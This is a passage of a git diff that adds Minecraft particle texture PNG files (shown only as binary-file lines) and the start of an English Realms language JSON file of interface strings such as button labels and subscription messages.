differ diff --git a/src/assets/minecraft/textures/particle/critical_hit.png b/src/assets/minecraft/textures/particle/critical_hit.png new file mode 100644 index 00000000..5295f0d7 Binary files /dev/null and b/src/assets/minecraft/textures/particle/critical_hit.png differ diff --git a/src/assets/minecraft/textures/particle/damage.png b/src/assets/minecraft/textures/particle/damage.png new file mode 100644 index 00000000..9f397a99 Binary files /dev/null and b/src/assets/minecraft/textures/particle/damage.png differ diff --git a/src/assets/minecraft/textures/particle/drip_fall.png b/src/assets/minecraft/textures/particle/drip_fall.png new file mode 100644 index 00000000..a70945cf Binary files /dev/null and b/src/assets/minecraft/textures/particle/drip_fall.png differ diff --git a/src/assets/minecraft/textures/particle/drip_hang.png b/src/assets/minecraft/textures/particle/drip_hang.png new file mode 100644 index 00000000..2d78df11 Binary files /dev/null and b/src/assets/minecraft/textures/particle/drip_hang.png differ diff --git a/src/assets/minecraft/textures/particle/drip_land.png b/src/assets/minecraft/textures/particle/drip_land.png new file mode 100644 index 00000000..f0d0312f Binary files /dev/null and b/src/assets/minecraft/textures/particle/drip_land.png differ diff --git a/src/assets/minecraft/textures/particle/effect_0.png b/src/assets/minecraft/textures/particle/effect_0.png new file mode 100644 index 00000000..469da803 Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_0.png differ diff --git a/src/assets/minecraft/textures/particle/effect_1.png b/src/assets/minecraft/textures/particle/effect_1.png new file mode 100644 index 00000000..20c63cbb Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_1.png differ diff --git a/src/assets/minecraft/textures/particle/effect_2.png b/src/assets/minecraft/textures/particle/effect_2.png new file mode 100644 index 00000000..68cabdaa Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_2.png differ diff --git a/src/assets/minecraft/textures/particle/effect_3.png b/src/assets/minecraft/textures/particle/effect_3.png new file mode 100644 index 00000000..fe37f7ae Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_3.png differ diff --git a/src/assets/minecraft/textures/particle/effect_4.png b/src/assets/minecraft/textures/particle/effect_4.png new file mode 100644 index 00000000..2aa3ef07 Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_4.png differ diff --git a/src/assets/minecraft/textures/particle/effect_5.png b/src/assets/minecraft/textures/particle/effect_5.png new file mode 100644 index 00000000..175564b3 Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_5.png differ diff --git a/src/assets/minecraft/textures/particle/effect_6.png b/src/assets/minecraft/textures/particle/effect_6.png new file mode 100644 index 00000000..be940479 Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_6.png differ diff --git a/src/assets/minecraft/textures/particle/effect_7.png b/src/assets/minecraft/textures/particle/effect_7.png new file mode 100644 index 00000000..32700a9a Binary files /dev/null and b/src/assets/minecraft/textures/particle/effect_7.png differ diff --git a/src/assets/minecraft/textures/particle/enchanted_hit.png b/src/assets/minecraft/textures/particle/enchanted_hit.png new file mode 100644 index 00000000..122f4f78 Binary files /dev/null and b/src/assets/minecraft/textures/particle/enchanted_hit.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_0.png b/src/assets/minecraft/textures/particle/explosion_0.png new file mode 100644 index 00000000..4dc51224 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_0.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_1.png b/src/assets/minecraft/textures/particle/explosion_1.png new file mode 100644 index 00000000..83e8ca2f Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_1.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_10.png b/src/assets/minecraft/textures/particle/explosion_10.png new file mode 100644 index 00000000..b4088437 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_10.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_11.png b/src/assets/minecraft/textures/particle/explosion_11.png new file mode 100644 index 00000000..2f8f274d Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_11.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_12.png b/src/assets/minecraft/textures/particle/explosion_12.png new file mode 100644 index 00000000..8447981e Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_12.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_13.png b/src/assets/minecraft/textures/particle/explosion_13.png new file mode 100644 index 00000000..62d2da12 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_13.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_14.png b/src/assets/minecraft/textures/particle/explosion_14.png new file mode 100644 index 00000000..10041baa Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_14.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_15.png b/src/assets/minecraft/textures/particle/explosion_15.png new file mode 100644 index 00000000..bc484e87 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_15.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_2.png b/src/assets/minecraft/textures/particle/explosion_2.png new file mode 100644 index 00000000..2157e39e Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_2.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_3.png b/src/assets/minecraft/textures/particle/explosion_3.png new file mode 100644 index 00000000..b3725d5b Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_3.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_4.png b/src/assets/minecraft/textures/particle/explosion_4.png new file mode 100644 index 00000000..a3632381 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_4.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_5.png b/src/assets/minecraft/textures/particle/explosion_5.png new file mode 100644 index 00000000..37392a00 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_5.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_6.png b/src/assets/minecraft/textures/particle/explosion_6.png new file mode 100644 index 00000000..d24878d6 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_6.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_7.png b/src/assets/minecraft/textures/particle/explosion_7.png new file mode 100644 index 00000000..047ab147 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_7.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_8.png b/src/assets/minecraft/textures/particle/explosion_8.png new file mode 100644 index 00000000..10027145 Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_8.png differ diff --git a/src/assets/minecraft/textures/particle/explosion_9.png b/src/assets/minecraft/textures/particle/explosion_9.png new file mode 100644 index 00000000..a7cc716c Binary files /dev/null and b/src/assets/minecraft/textures/particle/explosion_9.png differ diff --git a/src/assets/minecraft/textures/particle/flame.png b/src/assets/minecraft/textures/particle/flame.png new file mode 100644 index 00000000..7e13f907 Binary files /dev/null and b/src/assets/minecraft/textures/particle/flame.png differ diff --git a/src/assets/minecraft/textures/particle/flash.png b/src/assets/minecraft/textures/particle/flash.png new file mode 100644 index 00000000..c1ce0516 Binary files /dev/null and b/src/assets/minecraft/textures/particle/flash.png differ diff --git a/src/assets/minecraft/textures/particle/footprint.png b/src/assets/minecraft/textures/particle/footprint.png new file mode 100644 index 00000000..495a367e Binary files /dev/null and b/src/assets/minecraft/textures/particle/footprint.png differ diff --git a/src/assets/minecraft/textures/particle/generic_0.png b/src/assets/minecraft/textures/particle/generic_0.png new file mode 100644 index 00000000..2548245c Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_0.png differ diff --git a/src/assets/minecraft/textures/particle/generic_1.png b/src/assets/minecraft/textures/particle/generic_1.png new file mode 100644 index 00000000..ae21dac3 Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_1.png differ diff --git a/src/assets/minecraft/textures/particle/generic_2.png b/src/assets/minecraft/textures/particle/generic_2.png new file mode 100644 index 00000000..a9bd5356 Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_2.png differ diff --git a/src/assets/minecraft/textures/particle/generic_3.png b/src/assets/minecraft/textures/particle/generic_3.png new file mode 100644 index 00000000..2f7838f5 Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_3.png differ diff --git a/src/assets/minecraft/textures/particle/generic_4.png b/src/assets/minecraft/textures/particle/generic_4.png new file mode 100644 index 00000000..fdfaefa3 Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_4.png differ diff --git a/src/assets/minecraft/textures/particle/generic_5.png b/src/assets/minecraft/textures/particle/generic_5.png new file mode 100644 index 00000000..eda695d9 Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_5.png differ diff --git a/src/assets/minecraft/textures/particle/generic_6.png b/src/assets/minecraft/textures/particle/generic_6.png new file mode 100644 index 00000000..6f58049a Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_6.png differ diff --git a/src/assets/minecraft/textures/particle/generic_7.png b/src/assets/minecraft/textures/particle/generic_7.png new file mode 100644 index 00000000..e2be78d6 Binary files /dev/null and b/src/assets/minecraft/textures/particle/generic_7.png differ diff --git a/src/assets/minecraft/textures/particle/glint.png b/src/assets/minecraft/textures/particle/glint.png new file mode 100644 index 00000000..ef29ed00 Binary files /dev/null and b/src/assets/minecraft/textures/particle/glint.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_0.png b/src/assets/minecraft/textures/particle/glitter_0.png new file mode 100644 index 00000000..2548245c Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_0.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_1.png b/src/assets/minecraft/textures/particle/glitter_1.png new file mode 100644 index 00000000..de69d9fe Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_1.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_2.png b/src/assets/minecraft/textures/particle/glitter_2.png new file mode 100644 index 00000000..19a9831f Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_2.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_3.png b/src/assets/minecraft/textures/particle/glitter_3.png new file mode 100644 index 00000000..2a929796 Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_3.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_4.png b/src/assets/minecraft/textures/particle/glitter_4.png new file mode 100644 index 00000000..acf3c155 Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_4.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_5.png b/src/assets/minecraft/textures/particle/glitter_5.png new file mode 100644 index 00000000..56e6ef63 Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_5.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_6.png b/src/assets/minecraft/textures/particle/glitter_6.png new file mode 100644 index 00000000..acf3c155 Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_6.png differ diff --git a/src/assets/minecraft/textures/particle/glitter_7.png b/src/assets/minecraft/textures/particle/glitter_7.png new file mode 100644 index 00000000..56e6ef63 Binary files /dev/null and b/src/assets/minecraft/textures/particle/glitter_7.png differ diff --git a/src/assets/minecraft/textures/particle/heart.png b/src/assets/minecraft/textures/particle/heart.png new file mode 100644 index 00000000..987aa17a Binary files /dev/null and b/src/assets/minecraft/textures/particle/heart.png differ diff --git a/src/assets/minecraft/textures/particle/lava.png b/src/assets/minecraft/textures/particle/lava.png new file mode 100644 index 00000000..95cbc05a Binary files /dev/null and b/src/assets/minecraft/textures/particle/lava.png differ diff --git a/src/assets/minecraft/textures/particle/nautilus.png b/src/assets/minecraft/textures/particle/nautilus.png new file mode 100644 index 00000000..0ab4ef0f Binary files /dev/null and b/src/assets/minecraft/textures/particle/nautilus.png differ diff --git a/src/assets/minecraft/textures/particle/note.png b/src/assets/minecraft/textures/particle/note.png new file mode 100644 index 00000000..4060407e Binary files /dev/null and b/src/assets/minecraft/textures/particle/note.png differ diff --git a/src/assets/minecraft/textures/particle/sga_a.png b/src/assets/minecraft/textures/particle/sga_a.png new file mode 100644 index 00000000..013c54e0 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_a.png differ diff --git a/src/assets/minecraft/textures/particle/sga_b.png b/src/assets/minecraft/textures/particle/sga_b.png new file mode 100644 index 00000000..108feaf8 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_b.png differ diff --git a/src/assets/minecraft/textures/particle/sga_c.png b/src/assets/minecraft/textures/particle/sga_c.png new file mode 100644 index 00000000..ae268f02 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_c.png differ diff --git a/src/assets/minecraft/textures/particle/sga_d.png b/src/assets/minecraft/textures/particle/sga_d.png new file mode 100644 index 00000000..99c6cf7f Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_d.png differ diff --git a/src/assets/minecraft/textures/particle/sga_e.png b/src/assets/minecraft/textures/particle/sga_e.png new file mode 100644 index 00000000..bab9f926 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_e.png differ diff --git a/src/assets/minecraft/textures/particle/sga_f.png b/src/assets/minecraft/textures/particle/sga_f.png new file mode 100644 index 00000000..5684e16b Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_f.png differ diff --git a/src/assets/minecraft/textures/particle/sga_g.png b/src/assets/minecraft/textures/particle/sga_g.png new file mode 100644 index 00000000..a8a67e8f Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_g.png differ diff --git a/src/assets/minecraft/textures/particle/sga_h.png b/src/assets/minecraft/textures/particle/sga_h.png new file mode 100644 index 00000000..d617867d Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_h.png differ diff --git a/src/assets/minecraft/textures/particle/sga_i.png b/src/assets/minecraft/textures/particle/sga_i.png new file mode 100644 index 00000000..54b12c0a Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_i.png differ diff --git a/src/assets/minecraft/textures/particle/sga_j.png b/src/assets/minecraft/textures/particle/sga_j.png new file mode 100644 index 00000000..eba2f6d4 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_j.png differ diff --git a/src/assets/minecraft/textures/particle/sga_k.png b/src/assets/minecraft/textures/particle/sga_k.png new file mode 100644 index 00000000..ffd569e1 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_k.png differ diff --git a/src/assets/minecraft/textures/particle/sga_l.png b/src/assets/minecraft/textures/particle/sga_l.png new file mode 100644 index 00000000..1d71a800 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_l.png differ diff --git a/src/assets/minecraft/textures/particle/sga_m.png b/src/assets/minecraft/textures/particle/sga_m.png new file mode 100644 index 00000000..26f83997 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_m.png differ diff --git a/src/assets/minecraft/textures/particle/sga_n.png b/src/assets/minecraft/textures/particle/sga_n.png new file mode 100644 index 00000000..6241d005 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_n.png differ diff --git a/src/assets/minecraft/textures/particle/sga_o.png b/src/assets/minecraft/textures/particle/sga_o.png new file mode 100644 index 00000000..e9ecb651 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_o.png differ diff --git a/src/assets/minecraft/textures/particle/sga_p.png b/src/assets/minecraft/textures/particle/sga_p.png new file mode 100644 index 00000000..7d1f25c2 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_p.png differ diff --git a/src/assets/minecraft/textures/particle/sga_q.png b/src/assets/minecraft/textures/particle/sga_q.png new file mode 100644 index 00000000..9d8e1c07 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_q.png differ diff --git a/src/assets/minecraft/textures/particle/sga_r.png b/src/assets/minecraft/textures/particle/sga_r.png new file mode 100644 index 00000000..ebeb140e Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_r.png differ diff --git a/src/assets/minecraft/textures/particle/sga_s.png b/src/assets/minecraft/textures/particle/sga_s.png new file mode 100644 index 00000000..c6c9ada3 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_s.png differ diff --git a/src/assets/minecraft/textures/particle/sga_t.png b/src/assets/minecraft/textures/particle/sga_t.png new file mode 100644 index 00000000..e053fc37 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_t.png differ diff --git a/src/assets/minecraft/textures/particle/sga_u.png b/src/assets/minecraft/textures/particle/sga_u.png new file mode 100644 index 00000000..91d5e16c Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_u.png differ diff --git a/src/assets/minecraft/textures/particle/sga_v.png b/src/assets/minecraft/textures/particle/sga_v.png new file mode 100644 index 00000000..8c889df6 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_v.png differ diff --git a/src/assets/minecraft/textures/particle/sga_w.png b/src/assets/minecraft/textures/particle/sga_w.png new file mode 100644 index 00000000..66e14c60 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_w.png differ diff --git a/src/assets/minecraft/textures/particle/sga_x.png b/src/assets/minecraft/textures/particle/sga_x.png new file mode 100644 index 00000000..ef9383f7 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_x.png differ diff --git a/src/assets/minecraft/textures/particle/sga_y.png b/src/assets/minecraft/textures/particle/sga_y.png new file mode 100644 index 00000000..94750880 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_y.png differ diff --git a/src/assets/minecraft/textures/particle/sga_z.png b/src/assets/minecraft/textures/particle/sga_z.png new file mode 100644 index 00000000..e418a2a7 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sga_z.png differ diff --git a/src/assets/minecraft/textures/particle/soul_0.png b/src/assets/minecraft/textures/particle/soul_0.png new file mode 100644 index 00000000..d102f30d Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_0.png differ diff --git a/src/assets/minecraft/textures/particle/soul_1.png b/src/assets/minecraft/textures/particle/soul_1.png new file mode 100644 index 00000000..b72fcb0c Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_1.png differ diff --git a/src/assets/minecraft/textures/particle/soul_10.png b/src/assets/minecraft/textures/particle/soul_10.png new file mode 100644 index 00000000..cd958442 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_10.png differ diff --git a/src/assets/minecraft/textures/particle/soul_2.png b/src/assets/minecraft/textures/particle/soul_2.png new file mode 100644 index 00000000..1ff64034 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_2.png differ diff --git a/src/assets/minecraft/textures/particle/soul_3.png b/src/assets/minecraft/textures/particle/soul_3.png new file mode 100644 index 00000000..f241d8a0 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_3.png differ diff --git a/src/assets/minecraft/textures/particle/soul_4.png b/src/assets/minecraft/textures/particle/soul_4.png new file mode 100644 index 00000000..42beebf0 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_4.png differ diff --git a/src/assets/minecraft/textures/particle/soul_5.png b/src/assets/minecraft/textures/particle/soul_5.png new file mode 100644 index 00000000..ca111a7a Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_5.png differ diff --git a/src/assets/minecraft/textures/particle/soul_6.png b/src/assets/minecraft/textures/particle/soul_6.png new file mode 100644 index 00000000..84723d82 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_6.png differ diff --git a/src/assets/minecraft/textures/particle/soul_7.png b/src/assets/minecraft/textures/particle/soul_7.png new file mode 100644 index 00000000..66595506 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_7.png differ diff --git a/src/assets/minecraft/textures/particle/soul_8.png b/src/assets/minecraft/textures/particle/soul_8.png new file mode 100644 index 00000000..6373f613 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_8.png differ diff --git a/src/assets/minecraft/textures/particle/soul_9.png b/src/assets/minecraft/textures/particle/soul_9.png new file mode 100644 index 00000000..54c1ec2f Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_9.png differ diff --git a/src/assets/minecraft/textures/particle/soul_fire_flame.png b/src/assets/minecraft/textures/particle/soul_fire_flame.png new file mode 100644 index 00000000..d6d170b2 Binary files /dev/null and b/src/assets/minecraft/textures/particle/soul_fire_flame.png differ diff --git a/src/assets/minecraft/textures/particle/spark_0.png b/src/assets/minecraft/textures/particle/spark_0.png new file mode 100644 index 00000000..272183ab Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_0.png differ diff --git a/src/assets/minecraft/textures/particle/spark_1.png b/src/assets/minecraft/textures/particle/spark_1.png new file mode 100644 index 00000000..d8680995 Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_1.png differ diff --git a/src/assets/minecraft/textures/particle/spark_2.png b/src/assets/minecraft/textures/particle/spark_2.png new file mode 100644 index 00000000..338c994d Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_2.png differ diff --git a/src/assets/minecraft/textures/particle/spark_3.png b/src/assets/minecraft/textures/particle/spark_3.png new file mode 100644 index 00000000..dca7bddb Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_3.png differ diff --git a/src/assets/minecraft/textures/particle/spark_4.png b/src/assets/minecraft/textures/particle/spark_4.png new file mode 100644 index 00000000..3fe2fff5 Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_4.png differ diff --git a/src/assets/minecraft/textures/particle/spark_5.png b/src/assets/minecraft/textures/particle/spark_5.png new file mode 100644 index 00000000..27c98013 Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_5.png differ diff --git a/src/assets/minecraft/textures/particle/spark_6.png b/src/assets/minecraft/textures/particle/spark_6.png new file mode 100644 index 00000000..b6fb7fff Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_6.png differ diff --git a/src/assets/minecraft/textures/particle/spark_7.png b/src/assets/minecraft/textures/particle/spark_7.png new file mode 100644 index 00000000..27c98013 Binary files /dev/null and b/src/assets/minecraft/textures/particle/spark_7.png differ diff --git a/src/assets/minecraft/textures/particle/spell_0.png b/src/assets/minecraft/textures/particle/spell_0.png new file mode 100644 index 00000000..272183ab Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_0.png differ diff --git a/src/assets/minecraft/textures/particle/spell_1.png b/src/assets/minecraft/textures/particle/spell_1.png new file mode 100644 index 00000000..a0956902 Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_1.png differ diff --git a/src/assets/minecraft/textures/particle/spell_2.png b/src/assets/minecraft/textures/particle/spell_2.png new file mode 100644 index 00000000..20ddbc13 Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_2.png differ diff --git a/src/assets/minecraft/textures/particle/spell_3.png b/src/assets/minecraft/textures/particle/spell_3.png new file mode 100644 index 00000000..d3bc540e Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_3.png differ diff --git a/src/assets/minecraft/textures/particle/spell_4.png b/src/assets/minecraft/textures/particle/spell_4.png new file mode 100644 index 00000000..dfa2c57e Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_4.png differ diff --git a/src/assets/minecraft/textures/particle/spell_5.png b/src/assets/minecraft/textures/particle/spell_5.png new file mode 100644 index 00000000..dfa2c57e Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_5.png differ diff --git a/src/assets/minecraft/textures/particle/spell_6.png b/src/assets/minecraft/textures/particle/spell_6.png new file mode 100644 index 00000000..dfa2c57e Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_6.png differ diff --git a/src/assets/minecraft/textures/particle/spell_7.png b/src/assets/minecraft/textures/particle/spell_7.png new file mode 100644 index 00000000..dfa2c57e Binary files /dev/null and b/src/assets/minecraft/textures/particle/spell_7.png differ diff --git a/src/assets/minecraft/textures/particle/splash_0.png b/src/assets/minecraft/textures/particle/splash_0.png new file mode 100644 index 00000000..e2222b60 Binary files /dev/null and b/src/assets/minecraft/textures/particle/splash_0.png differ diff --git a/src/assets/minecraft/textures/particle/splash_1.png b/src/assets/minecraft/textures/particle/splash_1.png new file mode 100644 index 00000000..781b666a Binary files /dev/null and b/src/assets/minecraft/textures/particle/splash_1.png differ diff --git a/src/assets/minecraft/textures/particle/splash_2.png b/src/assets/minecraft/textures/particle/splash_2.png new file mode 100644 index 00000000..04395464 Binary files /dev/null and b/src/assets/minecraft/textures/particle/splash_2.png differ diff --git a/src/assets/minecraft/textures/particle/splash_3.png b/src/assets/minecraft/textures/particle/splash_3.png new file mode 100644 index 00000000..2387af01 Binary files /dev/null and b/src/assets/minecraft/textures/particle/splash_3.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_0.png b/src/assets/minecraft/textures/particle/sweep_0.png new file mode 100644 index 00000000..e6a72bd8 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_0.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_1.png b/src/assets/minecraft/textures/particle/sweep_1.png new file mode 100644 index 00000000..17e34ce9 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_1.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_2.png b/src/assets/minecraft/textures/particle/sweep_2.png new file mode 100644 index 00000000..36e89603 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_2.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_3.png b/src/assets/minecraft/textures/particle/sweep_3.png new file mode 100644 index 00000000..a16d1bb7 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_3.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_4.png b/src/assets/minecraft/textures/particle/sweep_4.png new file mode 100644 index 00000000..bc27ca12 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_4.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_5.png b/src/assets/minecraft/textures/particle/sweep_5.png new file mode 100644 index 00000000..668bafbf Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_5.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_6.png b/src/assets/minecraft/textures/particle/sweep_6.png new file mode 100644 index 00000000..9304e0db Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_6.png differ diff --git a/src/assets/minecraft/textures/particle/sweep_7.png b/src/assets/minecraft/textures/particle/sweep_7.png new file mode 100644 index 00000000..91307ac6 Binary files /dev/null and b/src/assets/minecraft/textures/particle/sweep_7.png differ diff --git a/src/assets/realms/lang/en_us.json b/src/assets/realms/lang/en_us.json new file mode 100644 index 00000000..0192cf71 --- /dev/null +++ b/src/assets/realms/lang/en_us.json @@ -0,0 +1,236 @@ +{ + "mco.gui.ok": "Ok", + "mco.gui.button" : "Button", + "mco.terms.buttons.agree": "Agree", + "mco.terms.buttons.disagree": "Don't agree", + "mco.terms.title": "Realms Terms of Service", + "mco.terms.sentence.1": "I agree to the Minecraft Realms", + "mco.terms.sentence.2": "Terms of Service", + "mco.selectServer.play": "Play", + "mco.selectServer.configure": "Configure realm", + "mco.selectServer.leave": "Leave realm", + "mco.selectServer.create": "Create realm", + "mco.selectServer.info": "What is Realms?", + "mco.selectServer.buy": "Buy a realm!", + "mco.selectServer.trial": "Get a trial!", + "mco.selectServer.close": "Close", + "mco.selectServer.expiredTrial": "Your trial has ended", + "mco.selectServer.expiredList": "Your subscription has expired", + "mco.selectServer.expiredSubscribe": "Subscribe", + "mco.selectServer.expiredRenew": "Renew", + "mco.selectServer.expired": "Expired realm", + "mco.selectServer.open": "Open realm", + "mco.selectServer.closed": "Closed realm", + "mco.selectServer.openserver": "Open realm", + "mco.selectServer.closeserver": "Close realm", + "mco.selectServer.minigame": "Minigame:", + "mco.selectServer.uninitialized": "Click to start your new realm!", + "mco.selectServer.expires.days": "Expires in %s days", + "mco.selectServer.expires.day": "Expires in a day", + "mco.selectServer.expires.soon": "Expires soon", + "mco.selectServer.note": "Note:", + "mco.selectServer.mapOnlySupportedForVersion": "This map is unsupported in %s", + "mco.selectServer.minigameNotSupportedInVersion": "Can't play this minigame in %s", + "mco.selectServer.popup": "Realms is a safe, simple way to enjoy an online Minecraft world with up to ten friends at a time. It supports loads of minigames and plenty of custom worlds! Only the owner of the realm needs to pay.", + "mco.configure.world.settings.title": "Settings", + "mco.configure.world.title": "Configure realm:", + "mco.configure.worlds.title": "Worlds", + "mco.configure.world.name": "Realm name", + "mco.configure.world.description": "Realm description", + "mco.configure.world.location": "Location", + "mco.configure.world.invited": "Invited", + "mco.configure.world.invite.narration": "You have %s new invites", + "mco.configure.world.buttons.edit": "Settings", + "mco.configure.world.buttons.done": "Done", + "mco.configure.world.buttons.delete": "Delete", + "mco.configure.world.buttons.open": "Open realm", + "mco.configure.world.buttons.close": "Close realm", + "mco.configure.world.buttons.invite": "Invite player", + "mco.configure.world.buttons.activity": "Player activity", + "mco.configure.world.activityfeed.disabled": "Player feed temporarily disabled", + "mco.configure.world.buttons.moreoptions": "More options", + "mco.configure.world.invite.profile.name": "Name", + "mco.configure.world.uninvite.question": "Are you sure that you want to uninvite", + "mco.configure.world.status": "Status", + "mco.configure.world.invites.ops.tooltip": "Operator", + "mco.configure.world.invites.normal.tooltip": "Normal user", + "mco.configure.world.invites.remove.tooltip": "Remove", + "mco.configure.world.closing": "Closing the realm...", + "mco.configure.world.opening": "Opening the realm...", + "mco.configure.world.buttons.players": "Players", + "mco.configure.world.buttons.settings": "Settings", + "mco.configure.world.buttons.subscription": "Subscription", + "mco.configure.world.buttons.options": "World options", + "mco.configure.world.backup": "World backups", + "mco.configure.world.buttons.resetworld": "Reset world", + "mco.configure.world.buttons.switchminigame": "Switch minigame", + "mco.configure.current.minigame": "Current", + "mco.configure.world.subscription.title": "Your subscription", + "mco.configure.world.subscription.timeleft": "Time left", + "mco.configure.world.subscription.recurring.daysleft": "Renewed automatically in", + "mco.configure.world.subscription.less_than_a_day": "Less than a day", + "mco.configure.world.subscription.expired": "Expired", + "mco.configure.world.subscription.start": "Start date", + "mco.configure.world.subscription.extend": "Extend subscription", + "mco.configure.world.subscription.day": "day", + "mco.configure.world.subscription.month": "month", + "mco.configure.world.subscription.days": "days", + "mco.configure.world.subscription.months": "months", + "mco.configure.world.pvp": "PVP", + "mco.configure.world.spawnAnimals": "Spawn animals", + "mco.configure.world.spawnNPCs": "Spawn NPCs", + 